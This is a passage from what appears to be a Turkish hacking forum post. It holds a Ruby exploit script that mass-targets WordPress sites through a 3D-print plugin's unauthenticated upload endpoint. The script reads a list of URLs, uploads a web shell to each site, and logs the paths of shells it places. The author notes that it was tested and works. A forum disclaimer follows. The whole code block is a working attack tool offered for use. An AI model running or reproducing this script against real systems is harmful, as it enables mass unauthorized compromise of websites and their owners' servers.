      'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
    }
  end

  def check_site(domain)
    target_domain = URI.parse(domain)
    plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"

    begin
      response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)

      if response.body.include?("jsonrpc")
        response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })

        if response_shell.body.include?(File.basename(@params[:shell_file]))
          File.open(@params[:output_file], "a+") do |file_manager|
            file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
          end

          puts("#{plugin_url} --> Uploaded".green)
        else
          puts("#{plugin_url} --> Not Vuln".red)
        end
      else
        puts("#{plugin_url} --> Not Vuln".red)
      end
    rescue Net::OpenTimeout
      puts("#{plugin_url} --> Not Vuln".red)
    rescue StandardError
      puts("#{plugin_url} --> Not Vuln".red)
    end
  end

  def print_help
    help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]

OPTIONS:
  -i, --input_file INPUT_FILE: Define the path to the URL file.
  -o, --output_file OUTPUT_FILE: Define the name of the output log file.
  -s, --shell_file SHELL_FILE: Define the path of the shell file.
    HELP_TEXT

    puts(help_text.magenta)
  end

  def opt_parser
    begin
      OptionParser.new do |opts|
        opts.on "-i", "--input_file INPUT_FILE" do |input_file|
          if File.exist?(input_file)
            @params[:input_file] = input_file
          else
            puts("File not found: #{input_file}".red)
            exit(1)
          end
        end

        opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
          if File.exist?(shell_file)
            @params[:shell_file] = shell_file
          else
            puts("Shell File not found: #{shell_file}".red)
            exit(1)
          end
        end

        opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
          @params[:output_file] = output_file
        end
      end.parse!
    rescue Exception => exception
      puts("Error: #{exception}")
    end
  end

  def parse_lines(group)
    group.each do |line|
      check_site(line.strip)
    end
  end

  def main
    opt_parser

    unless @params[:input_file].nil? and @params[:shell_file].nil?
      lines = File.readlines(@params[:input_file])

      lines.each_slice(4) do |group_lines|
        @threads << Thread.new { parse_lines(group_lines) }
      end

      @threads.each(&:join)
      puts()
      puts("Exploit completed.".magenta)

      EM.stop
    else
      print_help
      EM.stop
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end
end

EM.run do
  EM.defer do
    exploit = D3_Print_Exploit.new
    exploit.main
  end
end

Not: Zafiyetli sürüm yüklenip denenmiştir, exploit çalışmaktadır. Sunucuda ekstra bir müdahale ile "php" dosyaları engellenmişse doğal olarak exploit çalışmaz.

Okuyan herkese teşekkür ederim.

qxrcuvc.png


Github


eline sağlı kabi
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.